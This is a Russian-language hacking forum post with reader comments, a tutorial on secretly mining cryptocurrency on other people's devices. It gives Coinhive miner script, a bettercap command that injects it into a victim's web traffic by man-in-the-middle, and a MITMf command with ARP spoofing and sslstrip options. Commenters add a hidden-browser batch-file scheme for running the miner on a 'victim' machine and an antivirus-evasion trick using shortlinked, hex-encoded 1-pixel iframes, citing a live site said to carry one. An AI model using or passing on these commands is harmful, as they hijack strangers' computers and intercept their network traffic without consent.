Приветствую! Спасибо за статью! А после перезагрузки компа майнинг прекращается?
[ обложка статьи ]
Режим чтения
Хайль всем, решил поделиться способ майнинга криптовалюты за счет MITM атаки.
Вы должны зарегаться тут:
Теперь создаем html файл с таким содержимым:
Где же взять SITE_KEY ? :
Теперь заинжектим наш файл с помощью bettercap:
ЗЫ. Если в сети много народу можно использовать xerosploit, у него есть функция инжекта для всех устройств, находящихся в сети.
Вы должны зарегаться тут:
Код:
https://coinhive.com/
Код:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('SITE_KEY');
miner.start();
</script>
Код:
bettercap -I wlan0(интерфейс) -T <ip цели> --proxy-module injecthtml --html-file <путь к файлу .html>
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
И пока открываются сайты без SSL, что в нынешних реалиях сильно меньше, нежели с ним.
Работает убого! Читай почти не работает. Мало того, что нужно юзеру подтвердить серт, так еще и инет валит раз через раз совсем. Про HSTS вообще молчу...
Последнее редактирование:
можно так же использовать MITMf
mitmf -i wlan0 --inject --js-file <путь-до-файла> --arp --spoof --gateway <ip роутера>
Код:
<_script src=»http:_//httpserverIP:8000/script_.js» type=»text/javascript»></_script>
Последнее редактирование:
еще добавить --dns --hsts, для использования с sslstrip
Последнее редактирование модератором:
Сегодня зарплату выдали ))
Последнее редактирование модератором:
Так же можно сделать без митм атак
Создать html с тротлингом в половину, создать бат который будет запускать браузер в фоне с этой html и грамотно проспамить (конечно же это все только в теории)
А эту html можно как и на хост поставить, так и локально запускать на машине "жертвы"
Создать html с тротлингом в половину, создать бат который будет запускать браузер в фоне с этой html и грамотно проспамить (конечно же это все только в теории)
А эту html можно как и на хост поставить, так и локально запускать на машине "жертвы"
этот Скрипт палят АВ, а вот если использовать шортлинки и Iframe + получившийся iframe перевести в 16-ричную строку... тогда все норм!)))))
конечно, вот например нашел сайт......{http://} {runjiayuan} {.} {cn}, если открыть код страницы то первые 6 полных строк и будет то о чем я говорю.....ну и конечно открой диспечер задач и посмотри на загрузку процессора!!!!!! то что идет в скобках не очень понятно, но стоит преобразовать, и получим
<iframe src="{https://} {cnhv} {.} {co} {/3h2b2}" width="1" height="1" align="left"></iframe>
(фигурные скобки и пробелы надо убрать)------это и есть шортлинк в iframe))))))))))
Последнее редактирование:
Уже как больше полугода, браузер выдает предупреждение, что начинается майнинг в браузере. Даже стандартный IE EDGE в винде.
Я же скинул образец сайта, зайдите и посмотрите, сработает ваш АВ или нет
Поиск в обсуждении
Комментарии
20